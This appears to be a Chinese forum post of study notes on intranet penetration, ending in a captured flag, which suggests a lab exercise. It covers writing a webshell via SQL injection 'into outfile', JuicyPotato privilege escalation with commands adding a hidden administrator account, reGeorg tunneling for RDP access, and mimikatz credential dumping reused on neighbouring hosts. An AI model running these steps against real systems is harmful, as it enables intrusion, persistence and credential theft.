内网渗透(一)

渗透你的美   ·   发表于 2022-05-20 10:57:40   ·   学习杂记

内网渗透(一)

利用sql注入getshell | 其他方法获取shell

Mysql导出函数: [将数据库里面的内容导出]

  1. into outfile
  2. into dumpfile [可以写16进制写入]
  3. 当知道绝对路径时,且可以导出权限开启的时候就可以拿到Webshell DNS注入 load_file
  4. id=7 union select 1,'' into outfile 'c:/phpstudy/www/h1ck.php'
Webshell管理工具:
  1. 菜刀、蚁剑(antsword) =>一句话木马直接连接(默认流量没有加密)
  2. 哥斯拉、冰蝎(Behinder) =>流量加了密,一定要用专属马

0x01提权

当我们遇到不是管理员权限的时候我们肯定需要提权,提权方法如下

  1. 利用目标主机的服务提权(目标主机运行着XXX软件,但这个软件有漏洞可利用)
  2. 利用Web服务 (一台机器上可能有多个网站,多个Web容器,比如获得了一个容器的shell是地权限,在另一个容器的网站根目录创建一个shell是高权限)
  3. 利用Windows | Linux系统漏洞

windows与linux漏洞

  1. Windows:它们是同一个公司开发的,只是版本不同
  2. Linux:是完全不同公司开发的,它们有太多的衍生版本,没有办法靠补丁搜索

这里只用Windows示例

常用思路:注入获取shell后,利用Webshell管理工具打开终端输入systeminfo查看当前系统信息,例如OS名称、OS类型以及打的补丁,进入补丁提权辅助网页粘贴补丁号即可根据已打补丁搜索出未打的补丁所对应的漏洞,然后根据其漏洞编号搜索其对应的提权工具(github下载下来自行编译运行)

这里推荐一个通用提权工具:烂土豆 juicypotato
所谓的烂土豆提权就是俗称的MS16-075,这个最好用,其他漏洞所需要的利用条件是很苛刻的,需要开启这个服务那个服务啥的

魔改后的烂土豆提权:xxx.exe -p "command"

  1. juicypotatowebshell管理工具上传到目标网站目录,最好改个名
  2. 创建用户:net user h1ck A1B2C3# /add
  3. 移动用户至管理员组:xxx.exe -p "net localgroup administrators h1ck /add"
  4. netstat -ano查看3389端口是否开放 //远程桌面只有管理员才可以连接

有时在systeminfo中看计算机是windows server 2008,但是mstsc后发现是2003,这是为什么呢?


0x02正向连接-内网穿透

一般来说一个域名对应一个ip,一个ip可以对应多个域名
一个ip底下可能有多台服务器
这个时候就需要用到端口映射

  1. 没有网:不连接互联网
  2. 没有外网:数据只进站不出战
  3. 正向连接:我们请求=>目标网站的PHP=>由PHP发送数据(不需要外网)//PHP做中间媒介帮助我们发起请求
  4. 反向连接:目标=>连接攻击者(需要有外网)

正向连接reGeorg

reGeorg主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。

reGeorg脚本文件,针对不同的语言上传不同的脚本到服务器,可以充当中间人

先将网站对应语言的tunnel(隧道)文件上传,PHP的话建议上传tunnel.nosocket.php,只要这个文件上传到Web目录,它就相当于你的通信站,你传递给目标内网的信息都由这个PHP文件来转发处理。

1. 将tunnel文件上传到服务器并访问,出现如图代表正常运行

2. 在reGeorg目录中打开cmd,利用python2运行reGeorgSocksProxy.py(python2开发)

全局代理:代理的是所有流量,远程桌面是rdp协议,需要全局代理
浏览器代理:只代理http、https

3. 这里用一个软件Proxifier来实现全局代理

配置完成后询问是否默认情况使用此代理,选择否,因为还要配置规则
规则配置:只有当使用远程桌面mstsc时才使用全局代理

4. 查看服务器ip地址,然后mstsc连接,输入我们创建的账号密码即可


内网穿透总结:
因为一个ip下可能有多个服务器,所以直接连接可能不是我们拿到shell的那台服务器,那怎么样才能找到它呢?需要用到一种类似于端口映射技术的工具,老师提供的是reGeorg
它里面有很多种动态语言脚本,我们使用的是php,首先把tunnel(隧道)文件tunnel.nosocket.php上传到网站目录上,然后在本地文件夹打开cmd使用 python2 reGeorgSocksProxy.py -u “tunnel文件地址” - p 监听的端口,不被占用即可,接着利用proxifier全局代理编辑规则,只对mstsc进行代理。然后ipconfig查到对方ip直接mstsc连接,利用之前自己创建的账户密码登陆即可。

你--->发送数据给本机代理端口--->目标机器php文件,它也在监控代理端口--->接受数据然后发送出去(PHP调用目标主机的网络请求

现在登陆了3389,那么服务器就拿到了,下面开始探测内网,可以使用ping看看有哪些主机、最好上传/安装一个nmap、s扫描器、arp -a等探测内网

0x03猕猴桃(mimikatz)抓取管理员密码

一个服务器管理员,他肯定管理者多台服务器,那么多台服务器可不可能是相同的密码?
一般大型企业都是随机生成密码然后存储在某处,小企业都是多台机器相同密码
那么可以抓取当前主机的密码用来撞库其他服务器

1. 猕猴桃(mimikatz)最好改个名字上传到服务器里,然后通过远程连接进入打开,它需要管理员权限运行。(因为webshell管理工具连接的权限不是管理员)

2. cd到猕猴桃所在目录运行,创建日志,所有操作都会记录下来

  1. log //创建日志
  2. privilege::debug //提升权限,管理员权限提升到更高权限
  3. sekurlsa::logonpasswords //抓取密码,去内存中把记录密码的那一部分提取出来

3. 查看日志,里面记录着所有用户的用户名和密码,找到administrator即可

4. 经过测试,发现同网段还有其他主机例如10.0.1.6 | 10.0.1.8等,然后mstsc连接同一内网的其他机器,用抓取到的管理员账号密码进行尝试

5. 成功连接,获得flag


0x04总结

  1. sql注入拿Webshell // into outfile | into dumpfile可16进制写入
  2. Webshell管理工具
  3. 利用提权辅助页面,查询系统可能存在的提权漏洞,利用魔改烂土豆juicypotato提权
  4. 内网穿透 //通过reGrorg设置中转站,代理工具代理远程桌面,然后正向连接
  5. 猕猴桃抓取系统(内存)存储密码

打赏我,让我更有动力~

0 条回复   |  直到 2022-5-20 | 1294 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.